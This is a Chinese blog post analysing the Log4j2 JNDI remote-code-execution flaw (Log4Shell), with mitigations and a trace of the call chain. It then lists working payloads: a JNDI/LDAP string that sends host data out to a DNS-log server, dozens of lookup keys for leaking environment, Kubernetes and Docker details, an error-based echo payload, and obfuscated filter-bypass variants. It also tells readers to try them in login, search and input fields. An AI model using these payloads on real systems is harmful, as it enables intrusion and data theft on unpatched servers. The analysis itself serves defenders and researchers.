log4j2漏洞源码分析

前言

上篇分析了jndi+ldap的利用,这两天新爆出来的漏洞log4j2中,结合恶意payload可执行远程恶意代码
影响范围:Apache Log4j 2.x < 2.15.0-rc2,而且利用难度低,利用要求少
紧急缓解措施(最好升级最新版本):
(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2) 修改配置log4j2.formatMsgNoLookups=True
(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

分析

整个漏洞中所调用的函数为:

logMessage ----> logMessageSafely ----> logMessageTrackRecursion ----> tryLogMessage ----> log
----> DefaultReliabilityStrategy.log ----> loggerConfig.log ----> processLogEvent ----> callAppenders
----> tryCallAppender ----> append ----> tryAppend ----> directEncodeEvent ----> encode ----> toText ---->
toSerializable ---->format----> PatternFormatter.format

漏洞的成因是:org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法,替换了攻击者恶意的表达式
在这里插入图片描述
如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace

replace --> substitute --> StrSubstitutor.substitute --> resolveVariable --> Interpolator.lookup

在Interpolator.lookup方法中,首先会获取字符串的前缀值:
在这里插入图片描述
如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:
在这里插入图片描述
最后触发点JndiManager.lookup
在这里插入图片描述
最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。
流程:
日志在打印时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
这里有一个外带数据的payload:
一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行

${jndi:ldap://${java:os}.xxx..dnslog.cn}

可获得其他数据:

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

多去尝试一切可能打印日志的地方,包括输入框,搜索框,账号密码登录处,id值等地方,并且log4j2已经逐渐变成了通用型,目前已知如某微,某远,VM多个产品等都受到影响

不出网回显

	JndiManager.lookup中name是protocal://host:port/path
	其中port本该是int如果给它无法转int的字符串就会抛出这里的信息
	又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果

	根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version})
	能够回显的Payload是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}

绕过


  ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://dnslog平台/info}
  ${${::-j}ndi:rmi://dnslog平台/info}
  ${jndi:rmi://dnslog平台}}
  ${${lower:jndi}:${lower:rmi}://dnslog平台/info}
  ${${lower:${lower:jndi}}:${lower:rmi}://dnslog平台/info}
  ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://dnslog平台/info}
  ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://dnslog平台/info}
  ${jndi:dns://dnslog平台}
参考:
https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485584&idx=1&sn=2fad11942986807ea7545f7b8b5d6af8&scene=21#wechat_redirect
https://www.cnpanda.net/sec/1114.html
https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247496255&idx=1&sn=acb66f2fd28859868892e028ac64d586&chksm=ec1dc217db6a4b018fd347ace7287631eaf3130
https://mp.weixin.qq.com/s/IxXGcpjN6KkDGPQYPJXHTA
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
log4j2漏洞是指Apache Log4j2框架中存在的一个安全漏洞,该漏洞被称为"Log4Shell"或"CVE-2021-44228"。该漏洞的原理是由于log4j2框架在处理日志消息时,会自动解析并执行包含特定JNDI注入代码的日志消息。这意味着攻击者可以通过构造恶意的日志消息,利用JNDI注入来执行任意的远程命令。具体来说,攻击者可以在日志消息中使用JNDI注入表达式,通过远程JNDI服务器加载恶意的类或执行任意的命令。 这个漏洞的危害非常严重,攻击者可以通过发送恶意的日志消息来远程执行任意代码,可能导致服务器被完全控制,数据泄露,或者其他恶意行为。该漏洞已经被广泛利用,并且已经影响了许多应用程序和系统。 需要注意的是,log4j2漏洞只存在于使用了受影响版本的log4j2框架的应用程序中。为了解决这个漏洞,建议开发人员升级到log4j2的安全版本,并采取其他安全措施,如配置安全策略、限制日志消息的内容等,以减少潜在的风险。 #### 引用[.reference_title] - *1* *3* [log4j2漏洞原理和漏洞环境搭建复现](https://blog.csdn.net/dreamthe/article/details/123230283)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [一文读懂面试官都在问的Log4J2漏洞](https://blog.csdn.net/YangYubo091699/article/details/130087573)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值